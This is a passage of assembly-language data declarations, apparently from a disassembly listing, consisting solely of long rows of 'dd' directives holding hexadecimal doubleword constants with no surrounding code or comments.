		dd 9679F402h, 62802AFh,	0E2C8381Ch, 6831E880h, 0E40005E5h
		dd 0C9CE3F47h, 0A0BC718Bh, 0BC442FAh, 0EF1D48D4h, 501EC707h
		dd 1AA47791h, 30510E05h, 5F80EE22h, 86D52Bh, 7A0B933Dh
		dd 7FF12076h, 0EF1E8200h, 0B2ECADA6h, 83CC01B1h, 74BFC389h
		dd 2F77009h, 0A39D5307h, 72503F86h, 0FA92D0h, 2E749627h
		dd 9055D67Dh, 663AFF04h, 42C09F61h, 11AA644h, 0A1AECB8Dh
		dd 6008B339h, 0BC0FE8C8h, 60AF2081h, 97745FBEh,	98D1001Ch
		dd 84499505h, 0A40090DFh, 12A9CC21h, 76132062h,	1AAB017Fh
		dd 8BC51F0Ch, 0FE5370D4h, 1E81F000h, 67909CD3h,	39D616E9h
		dd 0ECD0072h, 48D11B7Dh, 59783262h, 0E0A9C0C3h,	41B9138Bh
		dd 0D084403Bh, 0F17A7562h, 0FDBB39h, 3D91FA33h,	9FE9DDh
		dd 415DA55Ch, 51E8CE2Bh
		dd 7BC5FF3Eh, 0D2686200h, 8761C046h, 7A3E0084h,	0BCBF2D1Ah
		dd 0C70090B7h, 42FE0656h, 92293Ah, 0F527E28h, 0CBDA6DDFh
		dd 25319C17h, 91AC8413h, 0BCB07Eh, 83BC5CEh, 7B8AA2CBh
		dd 0C91B3800h, 450105A7h, 9D260014h, 9AB90E65h,	0DF30A602h
		dd 75533867h, 443302A3h, 0AD8FD53Ah, 21C0E444h,	5BD71F57h
		dd 0CD3100FBh, 0F46BA6E7h, 7B03A8EAh, 8EE2A2F8h, 67B0970Ch
		dd 7D1C4830h, 264FEF7h,	37A4B80Eh, 0E0A0B295h, 14AE9D16h
		dd 37C3E4Ch, 0A573E3B5h, 9D732h, 84D023D4h, 0ABA809A6h
		dd 0B3007A49h, 0E2FC737Eh, 0C2556507h, 0B6875775h, 0E0C3CED3h
		dd 3C0F91FFh, 0DA043D6Dh, 87A4D64Dh, 0F7E050F6h, 0E500CD09h
		dd 72189CF2h, 0D7FD6Eh,	97BD3A68h, 0DDF77CA7h, 0C20057EEh
		dd 308CA284h, 671CB4h, 0A75690F6h, 6811C727h, 5B73F100h
		dd 4275318Bh, 22DA0E83h, 0D9F8136Dh, 0FA001AF0h, 15DC849Fh
		dd 2CD949Dh, 0A0CCAD2Ah, 0A8C070FEh, 950EC57Eh,	3DEF7DEEh
		dd 18D8F9CCh, 5E0730A6h, 1B2CDC49h, 24749575h, 0C93D5A38h
		dd 0F1B70040h, 1D1829ACh, 0BF8D00C9h, 0C4BAA7E4h, 32005A68h
		dd 80ACCB57h, 297B8B7h,	0AD41B5A4h, 34807CF1h, 37277F4Ah
		dd 72BF4B0Fh, 74AD00CFh, 7A9077E6h, 0D16A0360h,	0D9FCEC57h
		dd 981ACCE0h, 846020A4h, 0F37DF2C0h, 288242EFh,	0C130846Ch
		dd 2117F029h, 96B0028h,	0E093D870h, 9E0E5615h, 1785FC61h
		dd 7F407E1Ch, 6F205150h, 0DEC0042h, 21D36874h, 1D003FA7h
		dd 0DC96CE1Eh, 0EC2D5B5Ch, 0B40B0323h, 9DDB3A79h, 0CC7EC5A0h
		dd 6139D401h, 0FB6BE398h, 0F643D0h, 2C6ECF4Bh, 58353B7Ah
		dd 5F87BE00h, 480A305Ah, 89090168h, 0B564B801h,	0DEC18CFBh
		dd 1E2708CBh, 572195AFh, 9D5900E7h, 9B7ABA0Eh, 0B664E50Ch
		dd 0D6131FAh, 0F3183F68h, 0E4CFC11h, 900017F0h,	86E9B991h
		dd 67DDE893h, 6E0959C9h, 39344980h, 0F00138F8h,	0FBB70F82h
		dd 0D3F9DFF6h, 0CC8E2980h, 0C7A6B6C6h, 60F29F58h, 1F68F219h
		dd 38510083h, 6C6ABDB8h, 0FC00A6B3h, 0DCE6A2C4h, 0DBB56Eh
		dd 873C405Ah, 4D113268h, 0B6282900h, 3967E2BAh,	51CE60A6h
		dd 906AB01Bh, 32EC439h,	0B3CC69B4h, 79349867h, 0DB170BE2h
		dd 540042FDh, 0BCF5156Bh, 74B2B500h, 0F7B620F2h, 0D44A0349h
		dd 6128425Ah, 0C60D1BA0h, 70347403h, 0A02CCC7Ah, 354685Fh
		dd 0AC195548h, 81E6E487h, 569AF324h, 0B290CA00h, 745648Ch
		dd 5C2B93C3h, 62F252B5h, 8A8F8848h, 8EDC6903h, 0B83009A8h
		dd 2B8F014h, 3305011Dh,	90493C41h, 4B9BC429h, 0A00F73FAh
		dd 0E0F8FCE6h, 824EAC60h, 85E90CC8h, 3F598EF2h,	0D2D739h
		dd 0CEB49BBCh, 7C729FBDh, 2FDC78DBh, 0A076FDC3h, 0ED00BB1Dh
		dd 600DD86Eh, 43715Ah, 452A7301h, 17716815h, 0B080046Ah
		dd 4078D30Fh, 0EEF49BD8h, 405C6E07h, 0A2D17F80h, 8600026Ch
		dd 3526A6E0h, 1C733CF9h, 9C5482D8h, 49C9733Ah, 5C3F61E0h
		dd 0AAD41600h, 931ECEBBh, 2AC700CDh, 8A5964D9h,	0EA1E67F1h
		dd 88C0632Dh, 8B0DF273h, 0A0C2FE7Fh, 6F4EF848h,	5180F170h
		dd 182165E6h, 5CFC49h, 0F19AE98Dh, 411733h, 16906BA4h
		dd 0B426F894h, 631DDC19h, 3192F550h, 284820DEh,	927D43CFh
		dd 0B86CD101h, 0E315627Bh, 18E13220h, 7961F0F1h, 60FDDC8h
		dd 3BB8AA3h, 9B07CAF7h,	9821C667h, 19F9C0A5h, 0A8F42465h
		dd 0A2CB442Eh, 90235500h, 5212B7Bh, 8B878D20h, 27A401C7h
		dd 0D0A5783Ch, 862810B2h, 280F38F2h, 0C093ABCDh, 235A47ADh
		dd 8D59000Fh, 4AA9FEDh,	0E8003989h, 72A2CAE0h, 0C02D3A0Ch
		dd 0D8FE2381h, 0CE00686Eh, 0DBB27E9Fh, 251D325h, 789795D4h
		dd 3B4142EEh, 58FC4060h, 80EDF24Fh, 86E5AA79h, 7923FC7h
		dd 70F859EFh, 0CAF3A14Dh, 55BB4066h, 5D60F186h,	0A4706F31h
		dd 0B4BB001Dh, 830C1BA7h, 6B24230Ah, 400034E7h,	6479FB3Bh
		dd 37F50049h, 0C75D4C3Ch, 0DD526DD7h, 80C039C4h, 2A642436h
		dd 3173AB7Bh, 6CA05110h, 501CD0E6h, 58F7DA0Ch, 0D8796Fh
		dd 45FDA610h, 2873594Dh, 83134800h, 8FE5BFBBh, 6838C75Bh
		dd 0F15E114Ah, 0BDDDE0C8h, 34F71C0h, 1E9878h, 6AABA5CDh
		dd 463E6CF2h, 3F0FBF71h, 206F5FB3h, 0AEC3BDEFh,	0BE641280h
		dd 0EE2049ECh, 6C762883h, 0DD7092A7h, 8F00BC64h, 0FE693BB1h
		dd 2BDE72Fh, 8D3E3A3Fh,	0F880B903h, 85D15112h, 17F2811Fh
		dd 0E1C2E29Fh, 4334C8EEh, 3947F44Ch, 44BA507Fh,	0E4309872h
		dd 0D97819C0h, 7700002h, 0F32025BBh, 0FC00FA34h, 0B2E52C58h
		dd 12E75CC1h, 30231BF7h, 0CC7D5490h, 2A6E2103h,	9955AFB3h
		dd 72E415E5h, 0A04109E6h, 0DC10398Dh, 3500E3FEh, 7F7719B4h
		dd 0ED1E201h, 0C370D6C8h, 0EBC86D6Ch, 0AD04CAEEh, 4E8B3DA0h
		dd 0F666B8C0h, 3A220A1Bh, 0F80CE8h, 96414FDDh, 0AD4C195Dh
		dd 981802F0h, 80FDB039h, 0F4BC05D4h, 79F10307h,	0D4E4E86Dh
		dd 7BA6E900h, 38FE5C90h, 0D984303Ah, 0A2D27A19h, 0A803E779h
		dd 2CFFBC47h, 0F64BC0DAh, 791D3026h, 5C1CDB58h,	2260F81Dh
		dd 7A542BC0h, 628039B9h, 65F249C1h, 0C80244Bh, 520313E1h
		dd 44CDAD5h, 7DF9A03Ah,	0FCDD00B5h, 7A55DE9Eh, 84300BD7h
		dd 6523D810h, 0DCB60C17h, 95496307h, 8FBED800h,	12DFA847h
		dd 670603FCh, 0B207F3Dh, 0E6C2C11Ch, 2516B441h,	0E880E4F1h
		dd 6D0C1812h, 5A1599E7h, 28E0EB46h, 902A440h, 8634672Ah
		dd 0E4BC818Fh, 48606457h, 0E6E90E3Fh, 4A094DF3h, 0A6261C98h
		dd 0B07BFFEh, 0BB7A75AFh, 62D1AEF2h, 0D037639Ch, 2483B3A2h
		dd 401017E0h, 50537BF7h, 83189A3Ch, 775B8619h, 610BA188h
		dd 19A0D2F4h, 31F1B463h, 16D43087h, 0BA91D501h,	0E096ABBFh
		dd 0C6CE3C61h, 38FC0000h, 39FBC9E9h, 0AE121BC4h, 0C8005824h
		dd 69D86573h, 3C40B053h, 338A5E9Dh, 60CC1A0Ch, 0A7FE9F89h
		dd 56D1C16h, 0C3005BFCh, 0C8E17516h, 0CB00B280h, 4D8E296h
		dd 585123F7h, 0BA801821h, 0A0C4DECFh, 7FB6EC00h, 0B7643FF5h
		dd 7A8788EBh, 0BDBFCA01h, 5C6EEC41h, 0B96AE420h, 0C0859C54h
		dd 0EBB93ECFh, 45000683h, 0F0A6CBCAh, 31F6E865h, 41A95866h
		dd 74F18024h, 0A455E262h, 14109882h, 0C06F91A7h, 0CC2F6901h
		dd 0E00372E8h, 1614BF50h, 14E4EACFh, 31F8EF47h,	175A1020h
		dd 5167E0D7h, 34C971B7h, 0CC6139D8h, 0BC001BD0h, 0B47BB177h
		dd 0A5E1E6Ch, 0FDBB49F5h, 28B068D0h, 0A04831C8h, 63F20968h
		dd 0D41D007Ch, 7F334EEEh, 6CCA0383h, 21B009A2h,	0F8C8E5E3h
		dd 0E65B649h, 78C8DF71h, 0BACA0037h, 0F38160C3h, 0C7050C6Dh
		dd 0D7CD16ACh, 8CC04484h, 0D2DA7B39h, 90F91031h, 93712987h
		dd 0E801B317h, 79742C38h, 0D8C47DF2h, 85E414C1h, 0F41F941Dh
		dd 4C81C1C8h, 40182967h, 871EAC7Ch, 32A28C01h, 1B50C9FDh
		dd 18DC6C20h, 0F07FD874h, 6D643A29h, 8C02731h, 4BC9DCB5h
		dd 34052F5h, 0F3CFDF40h, 22518802h, 8CDECBF9h, 9A10C810h
		dd 79CF4418h, 6F48D261h, 47103641h, 0D40034C7h,	9533FBACh
		dd 0CF2A7AFh, 7BEEB5BCh, 7A02AB78h, 1CC7AC31h, 0D78C84A0h
		dd 0E090F14Bh, 8700E11Dh, 0D8BC1433h, 0EFC512h,	0C33C03B9h
		dd 8D564482h, 0C8BF890Ch, 0EE40E09Fh, 37F418C0h, 61E58938h
		dd 0DCF37F00h, 0DEA3D3A8h, 295A0286h, 0D6F10A9Ch, 0B6C25842h
		dd 900058A9h, 0A032F207h, 0E4B14C74h, 0C075E50Eh, 0C6FA0C8Ch
		dd 0DCC20637h, 2164F2A3h
		dd 626DF900h, 1C7ECF83h, 4B4C0024h, 0CE886738h,	44B80CAFh
		dd 9414B41Fh, 987A8E49h, 0E0D3804h, 3649F10Eh, 8F558360h
		dd 0CA06C8ABh, 373A574Ch, 0E96E3E29h, 5398AD80h, 0F379317Ch
		dd 74A03AF4h, 8B00EA7Eh, 2866E1BDh, 729465h, 35ED0204h
		dd 0DEF15168h, 78CE844h, 9D23970Fh, 0AB92D088h,	8552395Bh
		dd 416703E8h, 0E6DDEBh,	0F553FC11h, 0D7070E6Ah,	0D372BA00h
		dd 0DB2A8C52h, 378B0EAh, 0E7F9BD7Bh, 9100413Ah,	2646CFB3h
		dd 12145464h, 40FE209Bh, 0B8A1B4C0h, 627DA092h,	794D9A00h
		dd 0FCD11331h, 0BDB60E5Dh, 0F140F26Fh, 0DE3C0A6Bh, 0F489CA60h
		dd 7874C06h, 5B1CA9EEh,	0E0D63089h, 0DC00BAF8h,	71D87F16h
		dd 44F5CC86h, 609C172Eh, 9D372587h, 0C79EBBD0h,	9361012Bh
		dd 1EC88B65h, 59042058h, 64307045h, 5B0733CEh, 0C0E88311h
		dd 9F02F374h, 7E0C09E6h, 9E0F561h, 63048A31h, 3A7CD551h
		dd 81D074A5h, 50EC1Ah, 320352BEh, 43FD4C5Eh, 5706F018h
		dd 0D32D59h, 0BD0EC855h, 39A6EE63h, 84C67224h, 0C35250h
		dd 4371D218h, 0FCFF91C4h, 33208503h, 89399B0Fh,	0A0DE3270h
		dd 0BEED8340h, 3F805B1h, 75FAD0Bh, 0B1A408EAh, 7382D798h
		dd 8044389Ch, 7A803152h, 0A0D6E5h, 0EF3B2B53h, 0A5C7CD01h
		dd 3AE35000h, 0B0688057h, 0B1750726h, 73481A11h, 1079B381h
		dd 4B01EEF8h, 0E2E6D33Eh, 198020FDh, 21BD53A7h,	921C12BAh
		dd 0BC058F7h, 19F433E1h, 0E5D1E5D7h, 4B754087h,	0C105F16Dh
		dd 0EB698088h, 0E5CCD5C2h, 287A3251h, 8A208E70h, 0FBA5731h
		dd 0E89A270Eh, 7182E760h, 4B00324Ch, 0CDF386C9h, 0B5A67816h
		dd 10C2FD0h, 41823FBDh,	0E8E7009Eh, 4C56B4B2h, 8C7997CBh
		dd 0A1653F24h, 17688131h, 0BF00C9BBh, 0B73879E8h, 9200E0BAh
		dd 8CB8101h, 62698F62h,	8213291Fh, 2025B041h, 2800FD99h
		dd 56F74BE6h, 60689859h, 60DE2933h, 0EC788C12h,	0FDF8B571h
		dd 5478B40Ch, 6A17Eh, 1F3C9FD8h, 0C4681B93h, 0AEE2400h
		dd 0CB6512A2h, 9CD65456h, 871B00FDh, 40AD726Bh,	2E036960h
		dd 50F261C0h, 0F75FE028h, 9B910CE3h, 1E813468h,	0DF09F100h
		dd 26907632h, 5EDE0192h, 988ACEE2h, 40A03E0Fh, 0CA84A882h
		dd 0F311031Eh, 18E48BCh, 0A91420C7h, 80039F55h,	4DC17AF2h
		dd 36BE078h, 3016EAF9h,	68A1EBF5h, 0E3008C8Dh, 5019F005h
		dd 63B481AFh, 0C0BCE97Ch, 570069B6h, 25C7DDA0h,	0A5F617h
		dd 63ED415Ah, 0CF5EA70Dh, 0BB580E03h, 0B2829Ah,	90EF26C9h
		dd 5ED7B83Ah, 6DB35F14h, 1A22B4h, 17834AFEh, 972C8CF5h
		dd 0E30B0F00h, 8FF0AAD3h, 0E861070Eh, 60C111B0h, 56B257BFh
		dd 36B9E060h, 41CC7Bh, 0FA6732DBh, 0F4CD559Ch, 0B4DE2201h
		dd 2130E28Dh, 45A76987h, 0BE37302Eh, 0D1C080C0h, 0B4885673h
		dd 6717004Eh, 996AF315h, 91006520h, 0C710B859h,	0F7B0F4h
		dd 9F43973Ch, 0EA48EDE1h, 664CA707h, 0E70619F3h, 0FD4B0A91h
		dd 38A8D864h, 6F99423Dh, 0F0C6810Bh, 810069EFh,	55F7D4F0h
		dd 10F5C09h, 0E7273574h, 0FC1F1B98h, 9CA88B9Fh,	0EB00A64Ah
		dd 109186B5h, 0A4C167B6h, 81A10FF8h, 0EBA0C97Bh, 1FB42087h
		dd 355D9E03h, 0FA48EEC3h, 0F32483A0h, 36B002B5h, 0D82FE1FDh
		dd 53A8C480h, 690681C4h, 1B03E340h, 4DC00EA9h, 5080CF24h
		dd 0F4C1099Ah, 366F2B18h, 0F4F0BC21h, 5CC2017Ah, 5DA65559h
		dd 314C40CAh, 2D0E4C0Bh, 0E506CDEh, 291C808Ah, 1CE78413h
		dd 4CE52701h, 0C63186C0h, 0A0F87700h, 0A8B9706Eh, 0D5A907FAh
		dd 1012C983h, 0D799030Ch, 0B377F205h, 0B440EC56h, 52411E23h
		dd 17671B39h, 98E4E9F8h, 9000E2Ch, 0D2BFFB18h, 0FD56B89h
		dd 1ACFCB7Dh, 0CA799A81h, 206830E8h, 128E8B1Fh,	7430FA13h
		dd 0D0CD038h, 74A781BAh, 0BD401061h, 0DE078B22h, 6EA851B3h
		dd 0F7EE3850h, 26F04876h, 6B25F12h, 0D85C19B8h,	1C47C06h
		dd 41D956h, 311EE963h, 0FF36CC67h, 3095Ch, 30B7439h, 720EBD46h
		dd 0C71C0137h, 68E636A6h, 17D98022h, 6A2B9D98h,	26F80380h
		dd 811AF4C2h, 0A90B8CD3h, 82DEADE7h, 646FAFB5h,	31A01F68h
		dd 0F6DCC0F9h, 2E16D13Fh, 85EA0A01h, 0A68111D7h, 0F4091822h
		dd 0C88010AEh, 86BD1ADBh, 54B25E0Dh, 83E0217Bh,	4318018Ah
		dd 0CF6C39CAh, 0BB56F473h, 4E57F600h, 0F53E4C5Dh, 81C02A83h
		dd 2AF100F4h, 0FE637606h, 967DFFCBh, 98296102h,	64C1394Ah
		dd 20DE0530h, 0C07740CEh, 0ECA8EA58h, 3FC74E01h, 945683ADh
		dd 0B8071063h, 8015B35Bh, 0A53D2BD0h, 1222D205h, 0B440D856h
		dd 0B854A397h, 270D0050h, 3848CEA8h, 7900859Eh,	5A584171h
		dd 2F3D830h, 0F9D71162h, 20AFAE17h, 9E2C200h, 2D0EE897h
		dd 40044215h, 6D4EBA95h, 0B5F42A8Dh, 167F13B4h,	5F0420FFh
		dd 7660547Eh, 3577E0A9h, 26BD7E73h, 6E609E3Fh, 29ED7A00h
		dd 0B9008ACDh, 0C21DB7C7h, 146DB80Eh, 0A0C98CEEh, 85F25580h
		dd 0C603F7A1h, 0DCCE3634h, 597EA043h, 8EC02292h, 81F2EC3Bh
		dd 0F46CC3DBh, 0E3E45378h, 219560C9h, 6E932D86h, 0B883E51Dh
		dd 0A8ACF580h, 5782594h, 11A9386Ch, 0EDC8304Dh,	0F1001FFEh
		dd 1634A6DAh, 2E43D907h, 1CD842h, 0A49CD510h, 2E0C72E2h
		dd 39846765h, 799B0C0h,	51473191h, 43C2D15Fh, 80D2C811h
		dd 8054635Ch, 9C88A812h, 0DB230D8Bh, 801987C0h,	98F24916h
		dd 0E86735B3h, 3210070h, 9F1E599Bh, 6C02B4CBh, 0CE1A3F4Ch
		dd 308E4C9h, 0C06BCFABh, 2AF0F216h, 0A00F6A4Ah,	0A33EF063h
		dd 906F4ED8h, 3593031h,	69EB997Ch, 50C8D2CAh, 0F48E2CDh
		dd 0F3198598h, 0F6F19089h, 2461A6h, 57C3563Eh, 6E0768DFh
		dd 0C4D24409h, 0F853AAB5h, 0E158AF01h, 0E9FC21C3h, 87E3009Fh
		dd 7D8FA81Fh, 735CBD66h, 68D701DFh, 916C8336h, 75E0F435h
		dd 0ADA74869h, 22670173h, 0C0EC1A02h, 48C488Bh,	8F16A47Dh
		dd 380283B5h, 0E1FA4D2Dh, 56117CBCh, 2FB980E4h,	0C92FBC6h
		dd 17FD00A0h, 96742203h, 0D671E623h, 0EA466807h, 44F39282h
		dd 0A31018D8h, 1C5658E9h, 0D69BD18h, 8987F9h, 0DBDC3B35h
		dd 592B9C6Fh, 0DEE34600h, 0EE79019h, 606800EFh,	998AED92h
		dd 0C15045B5h, 6D712C5Ch, 594F148h, 0C8C72A48h,	173D08C0h
		dd 0B89C91FAh, 0AA4091h, 8BDF16EFh, 72E33EA3h, 0C774ABh
		dd 4573A2E0h, 82441784h, 878BD54h, 64CA4900h, 0B94FFAAEh
		dd 0F4CF881h, 0E5930A9Eh, 5154DB21h, 0F5F45CDCh, 1FD4286h
		dd 1C9443C0h, 2F0F56Dh,	0B419C01Dh, 0F83F9D61h,	0A33D5500h
		dd 96C90DD7h, 187573A7h, 0C1784013h, 0CC008DC7h, 0F7661C37h
		dd 904AD04Eh, 0F57E8Bh,	7C3AA731h, 9CF43730h, 881BDF28h
		dd 0A5C85912h, 0DEBD2C00h, 3FCFE97Bh, 3F19531Ch, 0D4755977h
		dd 5500C0C2h, 293EF74Ch, 1B5EA1Eh, 5D82F13Dh, 7079AB21h
		dd 7B3CB798h, 2ECA2CAh,	59AFAC4Ch, 0ECC074ABh, 0CD60DFAEh
		dd 55E56078h, 0B29C0EAh, 4184E44Dh, 7740100h, 0FA5D6D92h
		dd 0C78F012Ah, 0CEAEDCBCh, 0B281FC21h, 0D5007499h, 0D8663AE2h
		dd 522239EEh, 6C9BA4h, 5A0F913Fh, 5507FA80h, 0B41C0B44h
		dd 0C6A0EDC2h, 967600D8h, 49E5351Fh, 0CC05FBDBh, 0A36E3D16h
		dd 3072C004h, 8569080h,	87112648h, 1B31FBCh, 32533705h
		dd 73E6E11Ah, 565914C4h, 32A00068h, 85C4481Dh, 0C9CB246Fh
		dd 0F8D0404Ch, 0E4B8990Fh, 0DEB45005h, 4C8532Eh, 894E3BEEh
		dd 8025639Ch
		dd 1DA4CD11h, 0F71F284Fh, 0C60BCE56h, 0DC001EFh, 14107E40h
		dd 0FC07A62Dh, 7C20646Fh, 51B7FE81h, 50509EECh,	5C41B874h
		dd 36802C40h, 4D48DCE0h, 39D903Dh, 71DAD675h, 0E0D9C274h
		dd 58F79C8h, 0FDE36D77h, 3F98430Ah, 4000B265h, 30BD695Eh
		dd 48A8E0D2h, 5000FBC7h, 569408DCh, 0E32563B3h,	1980A2F6h
		dd 83B8440Bh, 0E156D9ACh, 0CFE1180h, 0CCC19AC7h, 0C8EC3913h
		dd 89732C08h, 0F0906680h, 0A70068EBh, 14693FDAh, 17A6E754h
		dd 236F4F39h, 86B83354h, 4C122973h, 53AE3h, 708759F2h
		dd 479B2A20h, 416F4B18h, 0C6E4FE78h, 2108C406h,	240050F6h
		dd 5FA7C994h, 14015B13h, 0FCF7F682h, 0D03E1F00h, 0B59FC705h
		dd 18C6651h, 2D5DCD3Ch,	0BB48BCh, 0B86349DDh, 3CC8A4F8h
		dd 707EC7h, 0E1A758CBh,	9A027913h, 0F46DD909h, 8DA40191h
		dd 0E98083C9h, 0A5FE9641h, 6E00E352h, 9C29D6FDh, 403FE785h
		dd 72002679h, 0EB78A335h, 46EAD7Fh, 0E4EEBA4Dh,	484480EDh
		dd 0C49CACF4h, 58C85D64h, 0E1E90046h, 6E88EEF6h, 0B4EA814Ch
		dd 47CAC703h, 25DBF817h, 58A0C929h, 8899ED7Dh, 96A5D800h
		dd 0F8D491B6h, 0DC9406B8h, 2CDEFD29h, 31766532h, 0F3D6C00Fh
		dd 0D5590C9Ch, 84197DC0h, 1ADE3400h, 19CDE208h,	0B4090D52h
		dd 0E7218AC9h, 0BFB5EFE0h, 7750D200h, 99BD8530h, 80402810h
		dd 7EE7164h, 0F3654553h, 163900BAh, 930CD913h, 297AB481h
		dd 67E7384Fh, 0ECFB7E0Fh, 91696B80h, 9E0830AAh,	80793EDBh
		dd 3D227194h, 9805AF88h, 1A293381h, 8ECC8408h, 0DCE276F2h
		dd 0F8411145h, 4E210DAh, 0E4B0AA18h, 95480010h,	0F798C205h
		dd 580412AEh, 8A8073FBh, 7F4224C0h, 50824CE3h, 314F6901h
		dd 50132477h, 58E60170h, 5D8BCE00h, 2377E5Eh, 1CE77D5Ch
		dd 0A254786Dh, 4845710Ah, 0DB04FA2Ch, 3CC85DC9h, 27130047h
		dd 0B6D07F86h, 0D819B0A7h, 3F39813Eh, 0F078D0h,	0A81BE22Eh
		dd 0D159D374h, 0CCBBD400h, 682612EBh, 8C8D5CD0h, 7BD65EC0h
		dd 0CE03CC84h, 30C8C64h, 0D2C6F8EFh, 91400A37h,	3B400E16h
		dd 899E8196h, 0A7244C00h, 33DC5E00h, 48C3BA0Dh,	111A034Fh
		dd 0F73D6C9Dh, 2C9C81D9h, 0A6BC9F08h, 3940703Fh, 8D14B6h
		dd 3B7857FFh, 838517B4h, 0DB7FA904h, 70A45CEDh,	49CA008Bh
		dd 33802EEFh, 8C00E328h, 50CC9A82h, 0E8EE620h, 0FB95130h
		dd 0F3D71320h, 4724D4B5h, 3F03C41Ah, 10E68A2h, 0AB374DC1h
		dd 0CC801572h, 12FE3C86h, 4EF62800h, 4D99B49Fh,	9038B08Fh
		dd 1B0B2294h, 84E0C05Eh, 0F4535844h, 73BB1880h,	3A05EE21h
		dd 0AE28AA8h, 9E76F088h, 2425111Ch, 0F740083Eh,	3EBB11BCh
		dd 0CA8E20F5h, 440C7E4h, 9D8121FDh, 0BE67544h, 0D3573091h
		dd 0EE4F8800h, 3D04F74Bh, 0AF27C6F3h, 54AD84C1h, 0A6007C22h
		dd 85983260h, 7A00CBD2h, 0B27880DEh, 8095CA3Eh,	0EA0BB5B1h
		dd 6C2232h, 33AD36ABh, 1D0EE9Ch, 668124CFh, 0CC68D347h
		dd 0CC010A83h, 91D5CEB9h, 446858FDh, 95E7FB80h,	0A000CFE4h
		dd 0D4327929h, 6D8125h,	0B24A37AAh, 492B943Bh, 687471F4h
		dd 2DD8AC5Ch, 388C1023h, 0CC6439B2h, 72FDFC00h,	7F6010F1h
		dd 0E24CF5Dh, 494C3FB3h, 0ECC0215h, 0F5C62011h,	55485EF1h
		dd 40598ED0h, 0F06F023Eh, 3BA802D8h, 0EEAAA783h, 10037846h
		dd 0A3B88FB6h, 88FDEB84h, 8CC2E5h, 0C9126013h, 8E679C74h
		dd 0B7F3C800h, 42056D4Bh, 418F60C1h, 0C9015C5Bh, 889DE300h
		dd 0F42C30A3h, 406F5BB0h, 0A9C2FA1Ch, 0A5009B39h, 3A6B74FDh
		dd 2BB710h, 0A77F170Dh,	6131975Ah, 8422915Ah, 9CA4E0DCh
		dd 9DD3000Ch, 62025D32h, 692E81B7h, 5609CC5Ch, 0B2308360h
		dd 20F14EA7h, 0ED54FE00h, 70C8FD00h, 456B640Fh,	0D98E00BAh
		dd 0C9412595h, 0A1C49981h, 0E4808626h, 496D71h,	31927072h
		dd 5ED82ED5h, 4FC24800h, 0E2F9B56h, 3688A013h, 3DF10176h
		dd 0A6DB97D8h, 40186162h, 175AFAFEh, 89E80E30h,	0A6DEA1h
		dd 0CED51B87h, 49FD4348h, 6891BB16h, 0A86F5C90h, 5DC7001Fh
		dd 0A6529325h, 57002C6Ah, 78B3D5B7h, 117B1167h,	814012h
		dd 0D368A12Ah, 3790533h, 0ED2DBFDFh, 0CFA0255Fh, 0DCFD418Fh
		dd 5E2EF0BDh, 17040836h, 2081A776h, 3872547Eh, 9C12E500h
		dd 6E5172F4h, 0ADE3B004h, 74B29A81h, 0E2421C80h, 2F006B99h
		dd 0AEAF0E1Dh, 40C03E5h, 0BB481725h, 0FD24C86Fh, 0C88FCA00h
		dd 0ED2C6066h, 0B4223925h, 9D567381h, 20F6AF01h, 6B0255D8h
		dd 35718279h, 3072CAh, 0FA7B5B05h, 0DA2CA0B2h, 0B77488EEh
		dd 6FF84000h, 0AD31575Eh, 5F3000FBh, 85EA9468h,	0A7E83DB7h
		dd 0CD09647Dh, 0FB0EF77h, 2CC10A14h, 9D18E400h,	0FA510C68h
		dd 0B51600C3h, 0DE6C31BEh, 90037321h, 82957401h, 26C900A7h
		dd 866068D7h, 100BF2B4h, 0E5B361h, 0FD2C508Ch, 96EE014Eh
		dd 91F0760Fh, 82AE0F7h,	0F5076701h, 0EC7BE21h, 4E875E4h
		dd 520F8E6Eh, 0DA7CA456h, 0BDF67604h, 0B1C33CA0h, 883F0EAh
		dd 3B3114A1h, 491690FAh, 0D18CC059h, 0F84B4C26h, 7E292020h
		dd 0F4AA0045h, 68F0AB39h, 5200855Dh, 66DF8E7h, 0B155605Fh
		dd 6FA200A0h, 307D39AAh, 884098B6h, 75AECBA4h, 6224000Eh
		dd 0F37FAA65h, 0BE057DCAh, 15D288Fh, 510000F2h,	46FFAB64h
		dd 8E389CACh, 0C1438067h, 82CCCF03h, 601C91A1h,	3568543Dh
		dd 3EBAE00h, 8FD94C39h,	0EC0A00A3h, 7B15F2E5h, 18968AC7h
		dd 1183BE40h, 1A030E18h, 0C8C20F48h, 8480B3F4h,	0C4EED68Eh
		dd 9102B490h, 25F06DB2h, 0F77360E9h, 70387D31h,	127490C3h
		dd 0C8021749h, 0CF056D58h, 1AFCE28Eh, 0EA09C4B2h, 8810552Ah
		dd 6C008C44h, 0C15AC21Dh, 7691A72Bh, 0F8BE0039h, 0E2EDE668h
		dd 0C927672h, 907A0E27h, 4521E1Ch, 6E3A493Eh, 0E8590285h
		dd 6F2C6092h, 8034B1C1h, 370E64DAh, 9700FE78h, 122E4E8Fh
		dd 303CD45h, 0E1E42A20h, 314C89C0h, 67EF0203h, 634A342Bh
		dd 0C20DD97Ch, 1D5E7820h, 80698D25h, 0D7CDA5AFh, 0BD18CCF9h
		dd 82F9E256h, 0D5E71C64h, 60DD8F8Ah, 35E98420h,	22E09D5Eh
		dd 0C24E5F71h, 0A7E0F0h, 4F3E744Bh, 19F543B6h, 54631C9Eh
		dd 5FDDD317h, 19703111h, 0C82EEF7h, 0A7222105h,	62C56087h
		dd 4EC04A94h, 3020B7F8h, 3FEA0DC4h, 9E45EF02h, 604299AEh
		dd 90102C24h, 202B09B0h, 5881EE08h, 78E286C7h, 944FC0A0h
		dd 605DBC79h, 98A679DEh, 150F44F2h, 60D557E9h, 5E83BC17h
		dd 0BEE55C91h, 0D6B3EC0Ah, 2D26FD8h, 0C6CBFAFAh, 190F48E0h
		dd 20F63F89h, 0C2F56C40h, 0C3FD902Eh, 0A748880Bh, 8440929Ch
		dd 12AC3A2Dh, 906280BCh, 0D53730ECh, 0F404BDECh, 65FFF4Fh
		dd 50F74080h, 0EBA91C92h, 689F0A84h, 46C64094h,	0F09083F9h
		dd 82D844h, 593E025Ah, 840A4F77h, 5F940E1Fh, 390058DFh
		dd 0BF68BC09h, 0E4C31D5Ah, 8104BF8Ch, 0A2A2D97Bh, 956A0024h
		dd 5540FF6Fh, 22F7004Eh, 0AB4831DEh, 71F34F34h,	0DD846194h
		dd 468EC69h, 90D23D27h,	18F84984h, 0C0E357D7h, 875A3836h
		dd 0B00BA412h, 8288CA9Eh, 725492C8h, 1987FB8h, 18578DD4h
		dd 20D6BC29h, 1C00066Dh, 3DA7C0DEh, 371CB41h, 513092E9h
